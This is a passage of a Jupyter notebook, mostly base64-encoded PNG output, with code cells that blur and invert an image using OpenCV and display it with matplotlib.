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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "blur_img = cv2.GaussianBlur(invert_img,(25,25),0)\n", - "blur_rgb_img = cv2.cvtColor(blur_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(blur_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "31a4e4b9", - "metadata": {}, - "source": [ - "### Inverting and Bluring image" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "id": "f45ff86c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAARkAAAD8CAYAAABD7tCSAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjQuMywgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/MnkTPAAAACXBIWXMAAAsTAAALEwEAmpwYAACZ2klEQVR4nO29aYys3XYW9uzqucauqp5Pn+879/qaK4yZLTIQIQdDMIMwijIYichMcn4kjInABinADySTRAh+hEgWhJiAcRwwCULMJAghgYMNBIzN5d77ffc7U49VXd1V1dXzmx/dz+7nXb33W291V59T56OX1OruqnfY47PXetbaa7skSfAkT/IkT/JYUnjfBXiSJ3mSz7c8gcyTPMmTPKo8gcyTPMmTPKo8gcyTPMmTPKo8gcyTPMmTPKo8gcyTPMmTPKo8Gsg4577TOfcV59zXnHPf91jveZIneZLJFvcYcTLOuSkA/wbArwTwGsA/AfAbkyT56bG/7Eme5EkmWh5Lk/klAL6WJMknSZKcAfgRAN/1SO96kid5kgmW6Ud67jMAr+T/1wD+Hb3AOfe9AL4XAIrF4i/+4he/qN8F/84S1cjs3/w/SRJcXV3h8vLS/1xdXd25J8+785RrmJbonMP09DRmZmYwMzODQqGQu755hXU+Pz/HyckJzs7OcHl5mSqD/r7P84eJcy71/CRJfPtfXFz4frDPcs7len5WmdjG8/PzKJVKmJ+fH6mtdewkSZJqr2H3v4toevbv1dWVb8vLy8vUuL/PM/N+z7+3trb2kyRZDl3/WCATav1UyZMk+UEAPwgAP/fn/tzkx37sx1AoFFI/7MiszrQAEvrRAT0YDNDtdtHpdHB0dITBYICLiwsPNqlKmPfnKQ+/YyeHOpv/z87Ool6vY2NjA6urq6hUKn4CjEOSJMH5+TmOjo6wtbWFr33ta/jss89weHiIJEkwPT2NqampO+1ty2nrxu8IDPxtr+dzp6amMDU15e8/Pz/HYDDA0dER2u022u02er0ezs/P70xkO8mH1ReA73cAmJ6eRqPRwJe//GX84l/8i/Fzfs7PwcbGBsrlMmZmZqL9yfdx3HCMsD7T09OpdrOLWd4y2/fZ9o6NNV57cXGB09NT9Ho9dDodtNttHB4e4uTkxINN3vfHymHHMn+0nf/wH/7Dn8We/Vjm0msAz+X/TQBvYxfHJuNDRVcfDo6ZmRnMzs5idnYWMzMzfpKNQ4NQgMkjl5eXOD8/x/n5eRTo7it2QKj2NqytswDyIeWhFAoFzMzMYG5uDgsLC5ifn8fs7OydfsijCeZ5LyfiyckJzs/Po5rTMMmzyDxE9PnD3sHvC4UCpqenMTs7i7m5OczNzWF2dhZTU1Mjv/8+fZ2nLR4LZP4JgG92zn3BOTcL4LsB/NU8N46rE0OrgoIMO4Mr0n3eGxoUeVcjrgQXFxc4Ozvzg/8xgJbanJomobLa+7K+e4gZw4kxNzeH+fl5LCws+L6ItZWVUczoi4sLnJyc4OTkBKenpw9u58cAmdAz87xHxzXbcm5uzo/rh5YhdM2oYPsoIJMkyQWA/xrA3wLwMwB+NEmSfzXsvsdaIfhsO7i5glKbsdePszwxQCLInJ2dpbSZcb1bwYzPH6YaD3vefcpgNSNqM5wYCwsLQVPR8itZgG4/4/uoyRwfH+P09BQXFxcTp8XYd+R9j47r2dnZO+P6PuWNAd596/5YnAySJPnrAP563uttA497glMs6isZquZKFiGqvMGw99pr7eAmKauaDO+5L/Fpy6q8lNVidPLft81j9QuBS0jNZz+olhEjgkPvyRKaiqenpxgMBhgMBjg/P880l2Ig/NggM6ro+NJxXSwWU+Naif48z9Lfee/LkkcDmVElBDDjXM312Vaboa0+6qQOgYFdZe3EsGQmeRmryYyTC7HetDyAYgEydr39PAtk+ExqK4VCwYOManMP9Y7Y8hBkjo+PMRgM/OTTfgjV47G4wnELQYaaTLFYxOnpqW9Pgnae54SAxo4FHdt5xtJEgExohRgVYOzg5u/QSkS3MYFmdnbWq9H63lHsfl4f+tuKAhM1GZ1gV1dX9yLuQuVSTWZUsjMEMKEBZ//O6gt9FrWZ+fn5lNlIrW5ccnV1hbOzMxwfH6dMJgXcPECj7XEfreoxxGozBO3T01Ocnp6mtLZRNJNh4zf0d0wmAmQo4wCaYQBDkpcgwx+q0Q8xHe4z2BRk7IB4qCZHgFFzaVh5Q+AR+jy0msW4kphpRsBPkiS4At/HAxRrB5K/g8EgCDKhe8Yh4zB5876HJhO9drYt7wPcw8qfZ4x+7jZI2tUnBDZcQa02Q6JslMkde8co919eXgbJ33HwMXz+sEmbBfCjkJCh9ov1hzVfi8UiisWi9zbdl7gMlVl5mZOTE98eeYAsb5vZz8dt9sdE32O5GfU2jdKPlJDZz//z8qcTAzJ5bP+8ABBTDfUdGqvBn4cGwumKre+LXUchyNgV9qHlABCNcB4medo7Npli94X6xfYFgYb9kaUh5RXlZajJ5AkZyDIxhoHwuwKY0PuUcyTQMCZsHO8ZtU4TBTLvYmVQs0nJMgWZrOeHVP88Zc66Rk0mS0reV7R81rsUenZeTWxYX8QmX4wQ5nVTU1NezSfQMHYmVs5RhEBuPUzDJGZ2a/0miRjO0mYeohnad4TaISYTBTJ5vh9XI2l4uA3OG6aB2IEXm7RZE1L/DgXljSP6VwFGvTYhGaVdh9UnRowq6MVMWE6MYrGI+fn5YFBZ3kmtIEDyl+aShi3E+jX2PPv3JIm2pQY73kdTt/2YpbFlycSAzGNKrHFsEBM7IgvxLbkc+l7/HjYheZ3lZcZFeIZiZEa5fxjHlSUWaKx2ZYFGvSOlUsmbTeNYgZMk8ZtECTJs51HaOot3svXUz9+FWDqAQMNgx2GL6CjvGEUmCmSGIeVD+JiQWJAZRa28D9BkPSu0j2kcAzSPqRTjT+z/o07IWNvEJqRODNVmQiRwlkYWAgFqi+phigFvjMwfBjCx+r8PoLFje9zcTOidMZkokLGSZSLF1HH9LNbJlpdRL1Nebib03LzfhSQUlDdu79IwcymLrM0CB36WVQZ7TQy0GKBnSWAFmTztEgIES/4O0xhHMZ+0XO9Lk1EJaTNZJuhD3jNMJgJk7CoRIpWGrR73UeeB8GY9dfmN0/bOMsFCQXn3qU/o2TEXdqh+WSbOMHAZFXRDzwyRwLpLO0tiXi7nnG+HkBs7VvdhdRom7xNgLB3AtqTZ9FCQ+VwSvyGJrbL6O/TsGOkY2jiZpSbnqc8wsNQyqcl033QE9pl5zCV7T+izmDZj77kv2KuESOC8sR7DgNySv5b4tfdonca96DyW6Hi1aTU0PCALaCxQD7suSyYKZGIVymO25FVRQ9/FdrE+JA1EqNzDtAa7I3scq2jW5kit1yigkBeI8jwjxn1oeAFzzgwj5YcJQZwgYzel5q1rHg5rEoQgozveYyZo7H7+DnGjeRffiQEZlXGtFnlsZl4X4mbuazJZVTLWSbZs1sP00HiZLPf1fds4rxkxCtCEJEYCPyRgkkBueZksr1vMjI89/31zMRQtL0M1qM2USqWRzaasMfxBgcxDwSXvqsNrdUUPubNDLj/7d0g7ybs66G/Lyzw0iRXrp5qM1tfWZVwyqpkU04DYJ+odYYBeKP9PXiEvE4uViUle7eWhHNpDJQQGuoiOut0ga7znHT8TBTLvSmJgpIF5qqKPCiR63bDvLTmpQXm6t+Y+pkxoS0EebiHLdBjXam3LoKBICXEzseRWeUS1RY2VydJkYtqf1YrfN7gA8fEW4h1VMxy2Z28Y0Awb5xO1C1vlMVbZYYgdIoB1u/yoz+WEzrper7Hk70Py/uqkDe04HrV9xzmBQqthzEtFPoE5Z+zO4lHaR0GGqRCywgWywJaLwvsGFsqwfrXjmwF66sofNsatJpy37hOnydxHHcvzzLwmjLr8qM3E4gpCz8078GKkmnVl38fDZE0lOxlDA/I+pG2eMsSemdV2FmRCsR6hxON5RD1MCjLDwCrLXHrfQBMzwYH0eLT79axLO4/mfR8ZCjLOuf/FObfrnPsp+azhnPs7zrmv3vyuy3ff766Ppv2Kc+5X3adQo1Qmjwqf93khtCc/Y5n4Yc+MDTxLClvRdJyhnLyjiAWaPOXO855hq+YoAGNXRZY5BjQhEjhv/yrvpdsLQh6mkAcu9kz9/b4kBjBWstoyj+nzWJzM/wrgO81n3wfg7yVJ8s0A/t7N/3DOfQuuTyb4OTf3/Cl3fWTtSPJQsvM+QBPSZmK7WMehYcVWRrtZ8r6xMqrNjMrr5JE8AKNnX1lVO8+9WuZx7WsiyNgjUmLmWlZZR7n+sWTYomWvjW03CMWFDXtWXhkKMkmS/AMAbfPxdwH4oZu/fwjAb5DPfyRJktMkST4F8DVcH1mbW7I6L6szx0W+xWzXvLtYQyt0yHMSu48gM46zmDQr3ijmgNrf9vvQoI5pIwoUoRU/dJ8FGkoo1uO+2gw9TOR3QtHVk0LmPkRi4BMyQUOJwmJgM+x7K/flZFaTJNkCgJvfKzefh46nfRZ6gHPue51zP+Gc+4l2+xrDHgIwea/NEm08a7uq+zSv+jxsoIZWDSUnHxL5y/eOEu1r6xAqr5abf9s6h8oRa4cQ+MRASUng+0YCs02ozYRSa+QFmEkCIFv/2ELAvqNLO6YZjosPBcZP/IZKFuyJJEl+MEmSb0uS5NsajUbuF8QG7bhWHTZwSJuxJLAtSxbA5OU5gPDJkvc1mfKaS7HJnlXOkP0fa5PYM4aVX+9R4lJX4GHajJ1oJH9jmkyeMuft13ctof4JaTRZZhPHd1Y/jdVcisiOc2795mXrAHZvPh/peNq8MmylzJJ7M+KyQ1sPIBvGAwxbrbOAh1pBLLn4KKImx31cvfe57iGAMuwd/B0LkY9pMyGTTjUZG5CXp+6TAjAxXi90TUjTiY1vSwsM02yG9fF9QeavAviem7+/B8D/JZ9/t3Nuzjn3BQDfDOD/zfvQUVY4TqDHsJ1ZjmG7WAkKebSWkOYVk1CmvFHqFwKYh7SPNeti5KBdRUcB4pDZGOrbmDYzCnGZJEkKZGzyKvvOcZoO45Y8BHzsHtuWNJtibRnr82HtMzQYzzn3FwF8O4Al59xrAH8IwA8A+FHn3G8D8BLAf3pTsX/lnPtRAD8N4ALAf5UkSa5zGEYZkPr5uAHGlkm5GVWxNUAvtnpklTtLkiS8WZL35hn0o2gxdqCEVj/LV3Gls0CvHJCNzQkBgCV/LcdjvwNutRklLkc5+oMgbs2lULt8KDIqf8R2HnaMig3itOCbZzwPBZkkSX5j5KvviFz/RwH80aFvNhIa2FkDj3/n4QDuI3ynRXtryw+LFr3PQOVE0Q6/vLwcmXS2mowOFq1nrJzkQdgGakIywbcddBrnwx/rJbL8iR3Etu30fyUu7emTtk9ik0A1RXsAWqgNFBjft4lkJQYAMbFtwj5WE1SjoYeZhnnG90RsKxhW0NjKZq/Ja4+OUi4CzczMTOp0vrxHqt4XbKwHJK/JYwE3j2cppGHYLRazs7O+Dbh5VAlCDtYkSfzeIB4Ly1SXes61ajqxRSLLZNGJwXayR52EFik+V93Yw1I+5DHB3qWEANT+PYyf0meE0tBqNPRDT/OcCJChjLJKhwZmVsM+RLj62k6g94cTx5b1vu/n82I7smODKPSMrG0Fto6qrczOzqJYLKJaraJSqXiClQAT8uhw0HLSDwYD9Pv9VHQtJ7aNts0CwlA/x7SZkNs/BDYhN3ZojGW12buSmDYWAxlKXnBUEpiRwKGTPGPzbNjiNzEgM0onDjORQjb/Q8plbVdyACFuJlaePMCgEiN/8z7H7sDO0vJsLp2FhQVUKhVUq1XUajWUy+WUNkMwUuKbA5GAxrLXajUPLicnJzg9PUW/38fh4SG63S5OTk4yiW1dce2kZ9nn5uZQKpVSJhqfyVXY9oF1Y+cJFXjXJlOIGrABlqEQhZCZy/6y2qfWTbUZtqeez67XarkeTPxOkuThXGLazEPVXUsCl0qlOwAwzkPi+TxqM6N4mHRA2lVdTRsNyCqXy6hWq/6nUqmgXC6nPDehPC52Iuvzqe3QrOHALZVKKQ/d6elpqty2niHzQElgpoMol8t38iTbuvNvS/7ajZKjAPo4xdZdQUUPAOTYu7i4uAOQeqYYTdyZmRm/QExPT6f60/YZTVB9x0PMpokHmbwqdEzGYUtbr8b8/HxKy9BOHrUjsuqnmfIIZnnPzVE+xuaR4SCcm5tDuVxGrVZDo9FAo9FArVYLuoUVtOx7hmkAHMzT09M+mJGTnFqikrCh7RQx4AmZTXlUfZp1IcLYPv9d8THWXFOTjhxXv99Hv9/3fJeOQZZZAcZuHdBNvzR9FWw0ZIPbW3Qh1Y22IfAPycSDDCWkOo4i4wIbCzTaCaE9Qg8hn7N4gyxRALZl4mQvFotYXFz04FKv11GtVv1+IIKZVc9DWouu+qHIW6vGq+ZxdXWFqakpnJ6eYnp62nM1IbI7xgkoaNKUHWYGqUk3irn0GKaSPpNtTPK83++j2+3i8PAQnU7Hm5m9Xi+Vq/ji4iLVFtRW2CblchnlchmVSiX1w1ScGtDI+zi+h8VrfbDmUmhw3QdcrDwEbHgvvS4XFxcoFosptXUUbSZULztxLZBxUg5T5a0ND8CbR6VSCc1mEysrK1heXk6BCwA/mFgOLQMnIwezticHKA8Py0r7OTMzg2Kx6DWZ09NTzM7OYnZ21nukYgnVQ6YM24RuWPI/dm+SNZcsyMT6XO8dp+gYIE80GAzQ7XbR6XTQbrfRarWwv7+Pg4MDdLtdHB8fezDWNiKAs/3ZRiTxCTTVahWLi4uo1+upBUbNWC4E2kaarZFtk6dNJhJkYgDzEBmnymv3NYUIx4eUV8uqJtN9yF9rp1cqFSwvL2NtbQ0rKyuo1WqYnZ311+sA0vfbCFkAd0hFAN4k4r2c4EpEchKQD5qamvLtyBMeaQ5YL5SKmjQsj/I/FmjsuLKJ223gWUjGCTQKeJeXlzg5OUGv18PBwQH29vaws7ODnZ0d7O3t4eDgAL1eD2dnZwDSY4QaCE2kQqGQirM6PT3F8fExjo6OPEdTKpVQr9exsrKC1dVVrKysoNlsolqt+j6xsTOx8IBhMjEgE+o8O1kfi9UPEYrDJGQ2hXLzjiohL4hVWTmoQhPCajAEDWowS0tLKYCZm5tLmUX2R801gsD5+blfOdWTwYFOrYLtwms1az65GQIMeRrLQfR6PW8aWE+erbvlZwg0BKmLi4vUPbEwgdAYGPfYU4A5Pz/H8fExDg8Psbe3h7dv3+Lt27fY2dlBq9XC0dERTk5OkCSJ1wD1NEi2Of92zqUAmzEvBNVer4dWq4W9vT3s7e2h1Wqh0+lgY2MDKysraDQaKJVKKceABeNRHBETATJ5Vv48JlPMA6H3Z6l4w77Tv20Ak8aAkEu5D29kybSQK5uaQUwUZJIkwfT0NCqVCprNJtbX17GysoJqtYqZmZnUtZyI6rq0nBBXR0uMWpcpiVUCg7rKeQqEth8JSGoYfPfx8TE6nY43FXjyY0xs9KpqMzZeSIFQvVGPTfKybznp+/0+2u02tra28OrVK7x+/Ro7Ozs4OjrC+fk5APh9RZVKBbVaDdVqNZVTh0DDccExw1glaodHR0c4ODjA0dEROp2O/7zb7aLb7aLf7+P09BRLS0uoVCqp9BqWmP+gQAbIv6fH/lDsBI2t8Flai500+lmIV7B7aDQcO+Q+HUX0+hDLn6XWa10LhYIfjGtra1heXkalUsH09HSKGOY7OJDU46JuUo1y1raxGg0nMK8Hrs0ZvsMG/V1dXfm0DRqLc3l5iVqthlKphN3dXXQ6HRwf